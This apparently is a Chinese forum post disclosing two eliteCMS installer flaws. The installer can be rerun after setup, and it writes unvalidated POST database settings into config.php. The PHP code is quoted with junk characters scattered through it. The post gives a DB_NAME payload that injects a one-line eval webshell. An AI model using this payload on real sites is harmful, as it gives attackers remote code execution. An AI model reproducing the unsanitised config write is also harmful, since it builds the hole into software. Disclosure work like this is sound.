eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
% r- `+ i3 l2 Y+ z
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( `( _( ~, Q3 L1 w& S3 v) |我们来看代码：
8 L$ }4 {( I1 W
...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
8 a: q- p! T* G    $write = "<?php\n";
* w0 R4 r$ n$ Y  D4 Q, ~8 B    $write .= "/**\n";
6 S+ n" j$ E# @6 Z8 v  L) C    $write .= "*\n";
7 L/ e7 ^7 }  a! D1 R    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
4 u7 J* ]( s- W. i* C    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
) I& W; F( h5 t2 e, _    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
2 [, A! n' g, Q$ K5 x    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
$ w8 v& k* Q! y    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
; ]9 R) L& l* Z+ X( K* h4 i    $write .= "if (!\$db_select) {\n";
  X" i7 a# X& f$ G  d+ x. x7 N! L6 l    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
: I5 q1 y$ U1 Q# T6 Y' _5 F    $write .= "} \n";
4 o* V/ O) T0 q( N    $write .= "?>\n";
7 Y  c# O/ a& Z
4 C( w9 T. A) b    $writer = fopen($file, 'w');
...

在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
* Q) v: w3 J) a/ {$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
# w2 N* v; t2 R$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
) T" o0 Y! L) t6 M" R, _) n
) [) z$ Q9 j0 d" f"?><?php eval($_POST[c]);?><?php

+ }3 l; C/ r7 P" w6 f, b, S# A/ q4 M将导致一句话后门写入/admin/includes/config.php